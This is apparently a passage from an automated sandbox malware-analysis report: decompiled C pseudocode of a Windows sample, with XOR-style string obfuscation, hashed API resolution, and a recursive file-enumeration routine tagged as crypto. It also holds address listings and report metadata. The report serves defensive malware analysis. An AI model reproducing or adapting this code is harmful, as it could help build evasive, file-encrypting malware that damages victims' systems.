												_v2359 = 0x1d;
												_v2358 = 0x12;
												_v2357 = 8;
												_v2356 = 0x12;
												_v2355 = 0x28;
												_v2354 = 0x12;
												_v2353 = 0x22;
												_v2352 = 0x12;
												_v2351 = 0x7c;
												_v2350 = 0x12;
												_v2349 = 0x56;
												_v2348 = 0x12;
												_v2347 = 0x2c;
												_v2346 = 0x12;
												_v2345 = 0x7c;
												_v2344 = 0x12;
												_v2343 = 0x1d;
												_v2342 = 0x12;
												_v2341 = 0x76;
												_v2340 = 0x12;
												_v2339 = 0xd;
												_v2338 = 0x12;
												_v2337 = 0x20;
												_v2336 = 0x12;
												_v2335 = 0x26;
												_v2334 = 0x12;
												_v2333 = 0x20;
												_v2332 = 0x12;
												_v2331 = 0x3f;
												_v2330 = 0x12;
												_v2329 = 0x20;
												_v2328 = 0x12;
												_v2327 = 0x12;
												_v2326 = 0x12;
												if(_v2484 == _t567) {
													_t636 = 0;
													do {
														asm("cdq");
														asm("cdq");
														 *(_t640 + _t636 - 0x9af) = ((0x12 - ( *(_t640 + _t636 - 0x9af) & 0x000000ff) + 0x48 << 2) % 0x7f + 0x7f) % 0x7f;
														_t636 = _t636 + 1;
													} while (_t636 < 0x9e);
												}
												wsprintfW( &_v2060,  &_v2483, _v2156);
												_t497 =  *0xf4c2ec; // 0xddcc10
												_t642 = _t642 + 0xc;
												_t498 =  *((intOrPtr*)(_t497 + 0x20));
												if(_t498 == 0) {
													_t498 = E00F222A0(0x7f, 0, 0, _t631, _t635, 0x1972bf90);
													_t577 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t577 + 0x20)) = _t498;
												}
												 *_t498( &_v2144);
												E00F24070(0x7f,  &_v2060, _t631, _t635);
												_t501 =  *0xf4c2ec; // 0xddcc10
												_t635 = _v2144;
												_t502 =  *((intOrPtr*)(_t501 + 0x3c));
												if(_t502 == 0) {
													_t502 = E00F222A0(0x7f, 0, 0, _t631, _t635, 0x78ee4dfa);
													_t575 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t575 + 0x3c)) = _t502;
												}
												 *_t502(_t635);
												_t504 =  *0xf4c2ec; // 0xddcc10
												_t505 =  *((intOrPtr*)(_t504 + 0x174));
												if(_t505 == 0) {
													_t505 = E00F222A0(0x7f, 0, _t505 + 0xa, _t631, _t635, 0xeedec24b);
													_t573 =  *0xf4c2ec; // 0xddcc10
													 *((intOrPtr*)(_t573 + 0x174)) = _t505;
												}
												 *_t505( &_v2164);
												_t507 = _v2140;
												 *((intOrPtr*)( *_t507 + 8))(_t507);
												_t559 = _v2136;
												if(_t559 != 0) {
													continue;
												}
												goto L48;
											}
										}
										L48:
										_t560 = _v2132;
										if(_t560 != 0) {
											 *((intOrPtr*)( *_t560 + 8))(_t560);
										}
										_t477 = _v2124;
										 *((intOrPtr*)( *_t477 + 8))(_t477);
										_t479 = _v2128;
										 *((intOrPtr*)( *_t479 + 8))(_t479);
										_t481 = _v2136;
									} else {
										_t523 = _v2124;
										 *((intOrPtr*)( *_t523 + 8))(_t523);
										_t481 = _v2128;
									}
									 *((intOrPtr*)( *_t481 + 8))();
									E00F23F70(); // executed
									return E00F37A82(_v8 ^ _t640, _t481);
								} else {
									_t525 = _v2124;
									 *((intOrPtr*)( *_t525 + 8))(_t525);
									goto L26;
								}
							}
						} else {
							_t527 =  *0xf4c2ec; // 0xddcc10
							_t528 =  *((intOrPtr*)(_t527 + 0x110));
							if(_t528 == 0) {
								_t528 = E00F222A0(_t541, 0, _t528 + 9, _t629, _t632, 0xb32feeec);
								_t596 =  *0xf4c2ec; // 0xddcc10
								 *((intOrPtr*)(_t596 + 0x110)) = _t528;
							}
							_t529 =  *_t528(0xf44344, 0, 1, 0xf442a4,  &_v2132); // executed
							if(_t529 < 0) {
								L27:
								E00F23F70();
								return E00F37A82(_v8 ^ _t640);
							} else {
								_v2256 = 0;
								_v2255 = 0x1d;
								_v2254 = 0x55;
								_v2253 = 0x1d;
								_v2252 = 0x55;
								_v2251 = 0x62;
								_v2250 = 0x55;
								_v2249 = 0x5e;
								_v2248 = 0x55;
								_v2247 = 0x39;
								_v2246 = 0x55;
								_v2245 = 0x65;
								_v2244 = 0x55;
								_v2243 = 0x6e;
								_v2242 = 0x55;
								_v2241 = 6;
								_v2240 = 0x55;
								_v2239 = 0x67;
								_v2238 = 0x55;
								_v2237 = 0x5e;
								_v2236 = 0x55;
								_v2235 = 0x28;
								_v2234 = 0x55;
								_v2233 = 0x5e;
								_v2232 = 0x55;
								_v2231 = 0x24;
								_v2230 = 0x55;
								_v2229 = 0xd;
								_v2228 = 0x55;
								_v2227 = 0x6e;
								_v2226 = 0x55;
								_v2225 = 0x22;
								_v2224 = 0x55;
								_v2223 = 0x67;
								_v2222 = 0x55;
								_v2221 = 0x24;
								_v2220 = 0x55;
								_v2219 = 0x22;
								_v2218 = 0x55;
								_v2217 = 4;
								_v2216 = 0x55;
								_v2215 = 0x5e;
								_v2214 = 0x55;
								_v2213 = 0x67;
								_v2212 = 0x55;
								_v2211 = 0x55;
								_v2210 = 0x55;
								_t532 = E00F23FF0(E00F2FC00( &_v2256));
								_t589 =  *0xf4c2ec; // 0xddcc10
								_t638 = _t532;
								_t533 =  *((intOrPtr*)(_t589 + 0x170));
								if(_t533 == 0) {
									_t533 = E00F222A0(_t541, 0, _t533 + 0xa, _t629, _t638, 0x5243a16a);
									_t594 =  *0xf4c2ec; // 0xddcc10
									 *((intOrPtr*)(_t594 + 0x170)) = _t533;
								}
								 *_t533( &_v2084);
								_v2076 = 0x40;
								_v2084 = 3;
								_t536 = _v2132;
								_t537 =  *((intOrPtr*)( *_t536 + 0x20))(_t536, _t638, 0,  &_v2084);
								E00F24030( &_v2084);
								if(_t537 < 0) {
									goto L27;
								} else {
									goto L21;
								}
							}
						}
					} else {
						_t539 =  *((intOrPtr*)(_t454 + 0x10c));
						if(_t539 == 0) {
							_t539 = E00F222A0(_t541, 0, _t539 + 9, _t629, _t632, 0xd3a7a468);
							_t602 =  *0xf4c2ec; // 0xddcc10
							 *((intOrPtr*)(_t602 + 0x10c)) = _t539;
						}
						 *_t539();
						goto L9;
					}
				}
			}






































































































































































































































































































































































































    0x00f24200
    0x00f24200
    0x00f24200
    0x00f24209
    0x00f24210
    0x00f24213
    0x00f2421b
    0x00f24223
    0x00f2422f
    0x00f24234
    0x00f2423a
    0x00f2423a
    0x00f24244
    0x00f24248
    0x00f242b8
    0x00f242ca
    0x00f2424a
    0x00f2424a
    0x00f2424f
    0x00f24257
    0x00f24263
    0x00f24268
    0x00f2426e
    0x00f2426e
    0x00f24286
    0x00f2428a
    0x00f2428f
    0x00f242cb
    0x00f242d5
    0x00f242dd
    0x00f242e9
    0x00f242ee
    0x00f242f4
    0x00f242f4
    0x00f2430f
    0x00f24311
    0x00f24316
    0x00f24320
    0x00f24325
    0x00f24330
    0x00f24335
    0x00f2433b
    0x00f2433b
    0x00f24345
    0x00f2434f
    0x00f24576
    0x00f24576
    0x00f24586
    0x00f2458d
    0x00f24594
    0x00f2459b
    0x00f245a2
    0x00f245a9
    0x00f245b0
    0x00f245b7
    0x00f245be
    0x00f245c5
    0x00f245cc
    0x00f245d3
    0x00f245da
    0x00f245e1
    0x00f245e8
    0x00f245ef
    0x00f245f6
    0x00f245fd
    0x00f24604
    0x00f2460b
    0x00f24612
    0x00f24619
    0x00f24620
    0x00f2462d
    0x00f24632
    0x00f24638
    0x00f2463a
    0x00f24642
    0x00f2464e
    0x00f24653
    0x00f24659
    0x00f24659
    0x00f24660
    0x00f24662
    0x00f2466e
    0x00f2466f
    0x00f24677
    0x00f24679
    0x00f2467b
    0x00f2467d
    0x00f2467f
    0x00f24681
    0x00f24682
    0x00f24688
    0x00f246a8
    0x00f246a8
    0x00f246b1
    0x00000000
    0x00f2468a
    0x00f24690
    0x00f2469a
    0x00f246cc
    0x00f246d9
    0x00f246e0
    0x00f246e7
    0x00f246ee
    0x00f246f5
    0x00f246fc
    0x00f24703
    0x00f2470a
    0x00f2471e
    0x00f24723
    0x00f24730
    0x00f24737
    0x00f24739
    0x00f24740
    0x00f24747
    0x00f2474e
    0x00f24755
    0x00f2475c
    0x00f24763
    0x00f2476a
    0x00f24771
    0x00f24778
    0x00f2477f
    0x00f24786
    0x00f2478d
    0x00f24794
    0x00f2479b
    0x00f247a2
    0x00f247a9
    0x00f247b0
    0x00f247b7
    0x00f247be
    0x00f247c5
    0x00f247cc
    0x00f247d3
    0x00f247da
    0x00f247e1
    0x00f247e8
    0x00f247ef
    0x00f247f6
    0x00f247fd
    0x00f24804
    0x00f2480b
    0x00f24812
    0x00f24819
    0x00f24820
    0x00f24827
    0x00f2482e
    0x00f24835
    0x00f2483c
    0x00f24843
    0x00f2484a
    0x00f24851
    0x00f24858
    0x00f2485f
    0x00f24866
    0x00f2486d
    0x00f24874
    0x00f2487b
    0x00f24882
    0x00f24889
    0x00f24890
    0x00f24897
    0x00f2489e
    0x00f248a5
    0x00f248ac
    0x00f248b3
    0x00f248ba
    0x00f248c1
    0x00f248c8
    0x00f248cf
    0x00f248d6
    0x00f248dd
    0x00f248f1
    0x00f248f6
    0x00f24902
    0x00f24903
    0x00f24905
    0x00f24907
    0x00f24908
    0x00f24914
    0x00f24915
    0x00f2491b
    0x00f24934
    0x00f2493a
    0x00f24944
    0x00f24950
    0x00f24956
    0x00f24961
    0x00f24976
    0x00f24980
    0x00000000
    0x00000000
    0x00f24986
    0x00f2498d
    0x00f24994
    0x00f2499b
    0x00f249a2
    0x00f249a9
    0x00f249b0
    0x00f249c4
    0x00f249c6
    0x00f249d0
    0x00f249d0
    0x00f249e4
    0x00f249ea
    0x00f249ed
    0x00f249f4
    0x00f249f5
    0x00f249d0
    0x00f249fa
    0x00f24a0d
    0x00f24a17
    0x00f24a1a
    0x00f24a1f
    0x00f24a25
    0x00f24a25
    0x00f24a28
    0x00f24a2b
    0x00f24a2b
    0x00f24a30
    0x00f24a36
    0x00f24a3d
    0x00f24a44
    0x00f24a4b
    0x00f24a52
    0x00f24a59
    0x00f24a60
    0x00f24a67
    0x00f24a6e
    0x00f24a75
    0x00f24a7c
    0x00f24a83
    0x00f24a8a
    0x00f24a91
    0x00f24a98
    0x00f24a9f
    0x00f24aa6
    0x00f24aad
    0x00f24ab4
    0x00f24abb
    0x00f24ac2
    0x00f24ac9
    0x00f24ad0
    0x00f24ad7
    0x00f24ade
    0x00f24ae5
    0x00f24aec
    0x00f24af3
    0x00f24afa
    0x00f24b01
    0x00f24b08
    0x00f24b0f
    0x00f24b16
    0x00f24b1d
    0x00f24b24
    0x00f24b2b
    0x00f24b32
    0x00f24b39
    0x00f24b40
    0x00f24b47
    0x00f24b4e
    0x00f24b55
    0x00f24b5c
    0x00f24b63
    0x00f24b6a
    0x00f24b71
    0x00f24b78
    0x00f24b7f
    0x00f24b86
    0x00f24b8d
    0x00f24b94
    0x00f24b9b
    0x00f24ba2
    0x00f24ba9
    0x00f24bb0
    0x00f24bb7
    0x00f24bbe
    0x00f24bc5
    0x00f24bcc
    0x00f24bd3
    0x00f24bda
    0x00f24be1
    0x00f24be8
    0x00f24bef
    0x00f24bf6
    0x00f24bfd
    0x00f24c04
    0x00f24c0b
    0x00f24c12
    0x00f24c19
    0x00f24c20
    0x00f24c27
    0x00f24c2e
    0x00f24c35
    0x00f24c3c
    0x00f24c43
    0x00f24c4a
    0x00f24c51
    0x00f24c58
    0x00f24c5f
    0x00f24c66
    0x00f24c6d
    0x00f24c74
    0x00f24c7b
    0x00f24c82
    0x00f24c89
    0x00f24c90
    0x00f24c97
    0x00f24c9e
    0x00f24ca5
    0x00f24cac
    0x00f24cb3
    0x00f24cba
    0x00f24cc1
    0x00f24cc8
    0x00f24ccf
    0x00f24cd6
    0x00f24cdd
    0x00f24ce4
    0x00f24ceb
    0x00f24cf2
    0x00f24cf9
    0x00f24d00
    0x00f24d07
    0x00f24d0e
    0x00f24d15
    0x00f24d1c
    0x00f24d23
    0x00f24d2a
    0x00f24d31
    0x00f24d38
    0x00f24d3f
    0x00f24d46
    0x00f24d4d
    0x00f24d54
    0x00f24d5b
    0x00f24d62
    0x00f24d69
    0x00f24d70
    0x00f24d77
    0x00f24d7e
    0x00f24d85
    0x00f24d8c
    0x00f24d93
    0x00f24d9a
    0x00f24da1
    0x00f24da8
    0x00f24daf
    0x00f24db6
    0x00f24dbd
    0x00f24dc4
    0x00f24dcb
    0x00f24dd2
    0x00f24dd9
    0x00f24de0
    0x00f24de7
    0x00f24dee
    0x00f24df5
    0x00f24dfc
    0x00f24e03
    0x00f24e0a
    0x00f24e11
    0x00f24e18
    0x00f24e1f
    0x00f24e26
    0x00f24e2d
    0x00f24e34
    0x00f24e3b
    0x00f24e42
    0x00f24e49
    0x00f24e50
    0x00f24e57
    0x00f24e5e
    0x00f24e65
    0x00f24e6c
    0x00f24e73
    0x00f24e7a
    0x00f24e81
    0x00f24e94
    0x00f24e96
    0x00f24ea0
    0x00f24eb7
    0x00f24ebd
    0x00f24ec0
    0x00f24ec7
    0x00f24ec8
    0x00f24ea0
    0x00f24ee4
    0x00f24ee6
    0x00f24eeb
    0x00f24eee
    0x00f24ef3
    0x00f24efe
    0x00f24f03
    0x00f24f09
    0x00f24f09
    0x00f24f13
    0x00f24f1b
    0x00f24f20
    0x00f24f25
    0x00f24f2b
    0x00f24f30
    0x00f24f3b
    0x00f24f40
    0x00f24f46
    0x00f24f46
    0x00f24f4a
    0x00f24f4c
    0x00f24f51
    0x00f24f59
    0x00f24f65
    0x00f24f6a
    0x00f24f70
    0x00f24f70
    0x00f24f7d
    0x00f24f7f
    0x00f24f88
    0x00f24f8b
    0x00f24f93
    0x00000000
    0x00000000
    0x00000000
    0x00f24f93
    0x00f24961
    0x00f24f99
    0x00f24f99
    0x00f24fa1
    0x00f24fa6
    0x00f24fa6
    0x00f24fa9
    0x00f24fb2
    0x00f24fb5
    0x00f24fbe
    0x00f24fc1
    0x00f2491d
    0x00f2491d
    0x00f24926
    0x00f24929
    0x00f24929
    0x00f24fca
    0x00f24fcd
    0x00f24fe7
    0x00f2469c
    0x00f2469c
    0x00f246a5
    0x00000000
    0x00f246a5
    0x00f2469a
    0x00f24355
    0x00f24355
    0x00f2435a
    0x00f24362
    0x00f2436e
    0x00f24373
    0x00f24379
    0x00f24379
    0x00f24394
    0x00f24398
    0x00f246b4
    0x00f246b4
    0x00f246cb
    0x00f2439e
    0x00f2439e
    0x00f243ab
    0x00f243b2
    0x00f243b9
    0x00f243c0
    0x00f243c7
    0x00f243ce
    0x00f243d5
    0x00f243dc
    0x00f243e3
    0x00f243ea
    0x00f243f1
    0x00f243f8
    0x00f243ff
    0x00f24406
    0x00f2440d
    0x00f24414
    0x00f2441b
    0x00f24422
    0x00f24429
    0x00f24430
    0x00f24437
    0x00f2443e
    0x00f24445
    0x00f2444c
    0x00f24453
    0x00f2445a
    0x00f24461
    0x00f24468
    0x00f2446f
    0x00f24476
    0x00f2447d
    0x00f24484
    0x00f2448b
    0x00f24492
    0x00f24499
    0x00f244a0
    0x00f244a7
    0x00f244ae
    0x00f244b5
    0x00f244bc
    0x00f244c3
    0x00f244ca
    0x00f244d1
    0x00f244d8
    0x00f244df
    0x00f244e6
    0x00f244fa
    0x00f244ff
    0x00f24505
    0x00f24507
    0x00f2450f
    0x00f2451b
    0x00f24520
    0x00f24526
    0x00f24526
    0x00f24533
    0x00f2453a
    0x00f24544
    0x00f24551
    0x00f2455e
    0x00f24569
    0x00f24570
    0x00000000
    0x00000000
    0x00000000
    0x00000000
    0x00f24570
    0x00f24398
    0x00f24291
    0x00f24291
    0x00f24299
    0x00f242a5
    0x00f242aa
    0x00f242b0
    0x00f242b0
    0x00f242b6
    0x00000000
    0x00f242b6
    0x00f2428f

    APIs
    • GetNativeSystemInfo.KERNELBASE(?), ref: 00F24345
      • Part of subcall function 00F222A0: LoadLibraryA.KERNELBASE(00000000,00000000,?), ref: 00F226F0
    Strings
    Memory Dump Source
    • Source File: 00000001.00000002.524978448.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true
    • Associated: 00000001.00000002.524970027.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525043979.0000000000F44000.00000002.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525065584.0000000000F4A000.00000004.00000001.01000000.00000003.sdmpDownload File
    • Associated: 00000001.00000002.525078038.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_1_2_f20000_ll.jbxd
    Similarity
    • API ID: InfoLibraryLoadNativeSystem
    • String ID: $ $ $ $ $ $ $ $ $ $ $!$!$!$!$!$"$"$"$"$"$$$$$&$($($($)$+$,$,$,$,$,$.$6$9$9$9$9$<$>$?$?$?$?$@$@]j]]]$D$G$G$L$O$R$S$T$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$U$V$Y$Y$^$^$^$^$^B>B>BIBtB=B}BSB4B1BBB$_$_$_$a$b$b$e$f$g$g$g$g$h$l$l$l$n$n$q$r$r$r$s$s$s$s$t$v$v$v$v$v$v$x$x$x$x$x$y$y$y$|$|
    • API String ID: 3150334540-2667076231
    • Opcode ID: 27199e34723ef2f2ecfa3e81d61541905296883063510e10c9425646c15a5708
    • Instruction ID: 145c70987a1f9377dec64ad00c102923d2fffe425931556b005364df2d2a0c21
    • Opcode Fuzzy Hash: 27199e34723ef2f2ecfa3e81d61541905296883063510e10c9425646c15a5708
    • Instruction Fuzzy Hash: 3B92B5209096E9CDFB21C768DC587D9BFE06B16304F0840D995CC6B283CBFA5B989F65
    Uniqueness

    Uniqueness Score: -1.00%

    Function 00F35950 Relevance: 184.4, APIs: 5, Strings: 100, Instructions: 642fileCOMMONCrypto
    Download Yara Rule

    Control-flow Graph

    • Executed
    • Not Executed
    control_flow_graph 748 f35950-f359a6 call f37c92 751 f359b4-f359d8 748->751 752 f359a8-f359af call f239a0 748->752 754 f359e0-f359ee 751->754 752->751 755 f359f4-f35a81 call f239a0 * 2 call f34850 call f239a0 call f35750 754->755 756 f363a8-f363ae 754->756 772 f35a83-f35a97 call f222a0 755->772 773 f35a9d-f35aac FindFirstFileW 755->773 757 f363b0-f363b5 call f238c0 756->757 758 f363ba-f363ca call f37a82 756->758 757->758 772->773 775 f35f02-f35f08 773->775 776 f35ab2-f35abc 773->776 778 f35f10-f35f40 775->778 779 f35ad5-f35e1a 776->779 780 f35abe-f35ad2 call f222a0 776->780 781 f35f42-f35f47 778->781 782 f35f80-f35f8d 778->782 789 f35e53-f35e71 call f2fdd0 779->789 790 f35e1c-f35e1e 779->790 780->779 785 f35f50-f35f78 781->785 787 f35fa9-f35fbb 782->787 788 f35f8f-f35fa3 call f222a0 782->788 785->785 791 f35f7a 785->791 798 f35fc1-f35fff 787->798 799 f362de-f362eb 787->799 788->787 803 f35e73-f35e76 789->803 804 f35e78 789->804 794 f35e21-f35e4b 790->794 791->782 794->794 797 f35e4d 794->797 797->789 801 f36042-f3604f 798->801 802 f36001-f36006 798->802 805 f36307-f36313 FindNextFileW 799->805 806 f362ed-f36301 call f222a0 799->806 809 f36051-f36065 call f222a0 801->809 810 f3606b-f3607d 801->810 807 f36010-f3603a 802->807 808 f35e7e-f35e8c 803->808 804->808 805->778 812 f36319-f36327 805->812 806->805 807->807 815 f3603c 807->815 816 f35e97-f35ea9 808->816 817 f35e8e-f35e92 call f238c0 808->817 809->810 810->799 829 f36083-f3608e 810->829 813 f36329-f3632c 812->813 814 f3632e 812->814 820 f36334-f36342 813->820 814->820 815->801 823 f35eab-f35ead 816->823 824 f35eaf 816->824 817->816 826 f36344-f36348 call f238c0 820->826 827 f3634d-f3635f 820->827 828 f35eb1-f35ec7 call f37cca 823->828 824->828 826->827 833 f36361-f36363 827->833 834 f36365 827->834 839 f35ed3-f35eed 828->839 840 f35ec9-f35ece call f238c0 828->840 829->799 831 f36094-f36096 829->831 836 f361a8-f361b5 call f353a0 831->836 837 f3609c-f360a9 call f34c90 831->837 838 f36367-f36384 call f37cca 833->838 834->838 836->799 851 f361bb-f361da 836->851 837->836 849 f360af-f360ce 837->849 852 f363a0-f363a1 FindClose 838->852 853 f36386-f3639a call f222a0 838->853 839->754 846 f35ef3-f35efd call f238c0 839->846 840->839 846->754 854 f360d0-f360d9 849->854 855 f360ef-f36125 call f237c0 call f239a0 call f34a10 849->855 857 f361e0-f361e9 851->857 858 f361dc-f361de 851->858 852->756 853->852 860 f360e0-f360e9 854->860 876 f3612a-f3614e call f37c92 855->876 863 f361f0-f361f9 857->863 862 f361ff-f36260 call f237c0 call f239a0 call f34a10 call f239a0 call f37620 858->862 860->860 866 f360eb-f360ed 860->866 889 f36265-f3626a 862->889 863->863 868 f361fb-f361fd 863->868 866->855 868->862 881 f36150-f36157 call f239a0 876->881 882 f3615c-f36183 876->882 881->882 885 f36185-f3618a call f238c0 882->885 886 f3618f-f361a3 882->886 885->886 886->799 890 f362b8-f362be 889->890 891 f3626c-f3626e 889->891 892 f362c0-f362c5 call f238c0 890->892 893 f362ca-f362da 890->893 894 f36270-f36275 891->894 895 f36277-f3627a 891->895 892->893 893->799 897 f3628d-f3629a 894->897 898 f36283-f36286 895->898 899 f3627c-f36281 895->899 900 f362b3-f362b5 897->900 901 f3629c-f362b0 call f222a0 897->901 898->890 902 f36288 898->902 899->897 900->890 901->900 902->897
    C-Code - Quality: 63%
    			E00F35950(void* __ebx, signed int __ecx, signed int __edx, WCHAR* __edi, void* __esi, void* __eflags, char _a4, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v12;
				char _v16;
				char _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v56;
				intOrPtr _v60;
				char _v64;
				short _v80;
				intOrPtr _v84;
				char _v88;
				short _v104;
				struct _WIN32_FIND_DATAW _v700;
				signed int* _v704;
				void* _v708;
				char _v712;
				char _v713;
				char _v714;
				char _v715;
				char _v716;
				char _v718;
				char _v719;
				char _v720;
				char _v721;
				char _v722;
				char _v723;
				char _v724;
				char _v730;
				char _v731;
				char _v732;
				char _v733;
				char _v734;
				char _v735;
				char _v736;
				char _v737;
				char _v738;
				char _v739;
				char _v740;
				char _v741;
				char _v742;
				char _v743;
				char _v744;
				char _v745;
				char _v746;
				char _v747;
				char _v748;
				char _v749;
				char _v750;
				char _v751;
				char _v752;
				char _v753;
				char _v754;
				char _v755;
				char _v756;
				char _v757;
				char _v758;
				char _v759;
				char _v760;
				char _v761;
				char _v762;
				char _v763;
				char _v764;
				char _v765;
				char _v766;
				char _v767;
				char _v768;
				char _v769;
				char _v770;
				char _v771;
				char _v772;
				char _v773;
				char _v774;
				char _v775;
				char _v776;
				char _v777;
				char _v778;
				char _v779;
				char _v780;
				char _v781;
				char _v782;
				char _v783;
				char _v784;
				char _v785;
				char _v786;
				char _v787;
				char _v788;
				char _v789;
				char _v790;
				char _v791;
				char _v792;
				char _v793;
				char _v794;
				char _v795;
				char _v796;
				char _v797;
				char _v798;
				char _v799;
				char _v800;
				char _v801;
				char _v802;
				char _v803;
				char _v804;
				char _v805;
				char _v806;
				char _v807;
				char _v808;
				char _v809;
				char _v810;
				char _v811;
				char _v812;
				char _v813;
				char _v814;
				char _v815;
				char _v816;
				char _v817;
				char _v818;
				char _v819;
				char _v820;
				char _v821;
				char _v822;
				char _v823;
				char _v824;
				char _v825;
				char _v826;
				char _v827;
				char _v828;
				char _v829;
				char _v830;
				char _v831;
				char _v832;
				char _v833;
				char _v834;
				char _v835;
				char _v836;
				char _v837;
				char _v838;
				char _v839;
				char _v840;
				char _v841;
				char _v842;
				char _v843;
				char _v844;
				signed int _v848;
				intOrPtr* _v852;
				intOrPtr _v856;
				signed int _t318;
				intOrPtr _t326;
				intOrPtr _t340;
				void* _t342;
				intOrPtr _t344;
				signed int _t345;
				signed int _t346;
				intOrPtr _t347;
				signed int _t349;
				signed int* _t350;
				intOrPtr _t352;
				short* _t353;
				intOrPtr _t355;
				intOrPtr _t365;
				intOrPtr _t368;
				intOrPtr _t370;
				signed int _t371;
				signed int _t372;
				signed char _t373;
				signed int _t374;
				signed int _t376;
				void* _t386;
				intOrPtr _t387;
				void* _t391;
				intOrPtr _t392;
				signed int _t393;
				signed int _t395;
				signed int _t396;
				char* _t405;
				intOrPtr _t408;
				intOrPtr* _t413;
				signed int _t414;
				signed int _t421;
				signed int _t428;
				intOrPtr _t430;
				intOrPtr* _t431;
				signed int* _t436;
				short* _t439;
				signed int _t448;
				intOrPtr _t450;
				void* _t452;
				signed int* _t455;
				short* _t459;
				short* _t461;
				intOrPtr _t467;
				signed int _t470;
				intOrPtr _t474;
				intOrPtr _t476;
				intOrPtr* _t480;
				signed int _t481;
				signed int _t482;
				short* _t484;
				short* _t486;
				intOrPtr _t489;
				short* _t492;
				signed int _t496;
				intOrPtr _t498;
				signed int _t501;
				intOrPtr _t507;
				intOrPtr _t509;
				WCHAR* _t515;
				signed int _t517;
				void* _t518;
				void* _t519;
				void* _t520;
				signed int _t522;
				intOrPtr* _t523;
				signed int _t524;
				signed int _t525;
				intOrPtr* _t526;
				signed int _t527;
				signed int _t528;
				signed int _t529;
				void* _t530;
				void* _t531;
				short* _t532;
				short* _t533;
				signed int _t534;
				short* _t535;
				signed int _t536;
				short* _t537;
				void* _t538;

				_t515 = __edi;
				_t511 = __edx;
				_t452 = __ebx;
				_t318 =  *0xf4a004; // 0x355216d4
				_v8 = _t318 ^ _t529;
				_v848 = __ecx;
				_v708 = 0;
				_v704 =  &_v708;
				_t522 = E00F37C92(__ecx, __edx, __esi, __eflags, 0x20);
				_t531 = _t530 + 4;
				 *((intOrPtr*)(_t522 + 0x14)) = 7;
				 *((intOrPtr*)(_t522 + 0x10)) = 0;
				 *_t522 = 0;
				if(_t522 !=  &_a4) {
					_push(0xffffffff);
					L00F239A0(_t522,  &_a4, 0);
				}
				_t9 = _t522 + 0x18; // 0x18
				_t455 = _t9;
				 *_t455 = 0;
				 *((intOrPtr*)(_t522 + 0x1c)) = _v704;
				 *_v704 = _t522;
				_v704 = _t455;
				while(1) {
					_t523 = _v708;
					_v852 = _t523;
					if(_t523 == 0) {
						break;
					}
					_v12 = 7;
					_push(0xffffffff);
					_v16 = 0;
					_v32 = 0;
					L00F239A0( &_v32, _t523, 0);
					_t532 = _t531 - 0x18;
					_t459 = _t532;
					_push(0xffffffff);
					 *((intOrPtr*)(_t459 + 0x14)) = 7;
					 *((intOrPtr*)(_t459 + 0x10)) = 0;
					 *_t459 = 0;
					L00F239A0(_t459,  &_v32, 0); // executed
					E00F34850( &_v56);
					_t533 = _t532 - 0x18;
					_t461 = _t533;
					_push(0xffffffff);
					 *((intOrPtr*)(_t461 + 0x14)) = 7;
					 *((intOrPtr*)(_t461 + 0x10)) = 0;
					 *_t461 = 0;
					L00F239A0(_t461,  &_v32, 0); // executed
					E00F35750(_t452, _t515, _t523);
					_t340 =  *0xf4c2ec; // 0xddcc10
					_t515 =  >=  ? _v56 :  &_v56;
					if( *((intOrPtr*)(_t340 + 0xb8)) == 0) {
						_t511 = 0;
						_t450 = E00F222A0(_t452, 0, 0, _t515, _t523, 0xe2b40f85);
						_t509 =  *0xf4c2ec; // 0xddcc10
						 *((intOrPtr*)(_t509 + 0xb8)) = _t450;
					}
					_t342 = FindFirstFileW(_t515,  &_v700); // executed
					_t452 = _t342;
					if(_t452 != 0xffffffff) {
						_t524 = _v848;
						do {
							_v716 = 0;
							_v715 = 0x1a;
							_v714 = 0x2d;
							_v713 = 0x2d;
							_v712 = 0x2d;
							__eflags = _v716;
							if(_v716 != 0) {
								L31:
								_t344 =  *0xf4c2ec; // 0xddcc10
								_t345 =  *(_t344 + 0xc4);
								__eflags = _t345;
								if(_t345 == 0) {
									_t511 = 0;
									__eflags = 0;
									_t345 = E00F222A0(_t452, 0, 0, _t517, _t524, 0x397b11df);
									_t467 =  *0xf4c2ec; // 0xddcc10
									 *(_t467 + 0xc4) = _t345;
								}
								_t346 =  *_t345( &(_v700.cFileName),  &_v715);
								__eflags = _t346;
								if(_t346 == 0) {
									goto L72;
								} else {
									_v724 = 0;
									_v723 = 0x3c;
									_v722 = 0x60;
									_v721 = 0x3c;
									_v720 = 0x60;
									_v719 = 0x60;
									_v718 = 0x60;
									__eflags = _v724;
									if(_v724 != 0) {
										L38:
										_t370 =  *0xf4c2ec; // 0xddcc10
										_t371 =  *(_t370 + 0xc4);
										__eflags = _t371;
										if(_t371 == 0) {
											_t511 = 0;
											__eflags = 0;
											_t371 = E00F222A0(_t452, 0, 0, _t517, _t524, 0x397b11df);
											_t498 =  *0xf4c2ec; // 0xddcc10
											 *(_t498 + 0xc4) = _t371;
										}
										_t245 =  &_v723; // 0x3c
										_t372 =  *_t371( &(_v700.cFileName), _t245);
										__eflags = _t372;
										if(_t372 == 0) {
											goto L72;
										} else {
											_t373 = _v700.dwFileAttributes;
											__eflags = _t373 & 0x00000400;
											if((_t373 & 0x00000400) != 0) {
												goto L72;
											}
											__eflags = _t373 & 0x00000010;
											if((_t373 & 0x00000010) == 0) {
												L53:
												_t374 = E00F353A0( &(_v700.cFileName));
												__eflags = _t374;
												if(_t374 == 0) {
													goto L72;
												}
												_t534 = _t533 - 0x18;
												_t511 = _t534;
												 *((intOrPtr*)(_t511 + 0x14)) = 7;
												 *((intOrPtr*)(_t511 + 0x10)) = 0;
												 *_t511 = 0;
												__eflags = _v700.cFileName;
												if(_v700.cFileName != 0) {
													_t480 =  &(_v700.cFileName);
													_t517 = _t480 + 2;
													do {
														_t376 =  *_t480;
														_t480 = _t480 + 2;
														__eflags = _t376;
													} while (_t376 != 0);
													_t481 = _t480 - _t517;
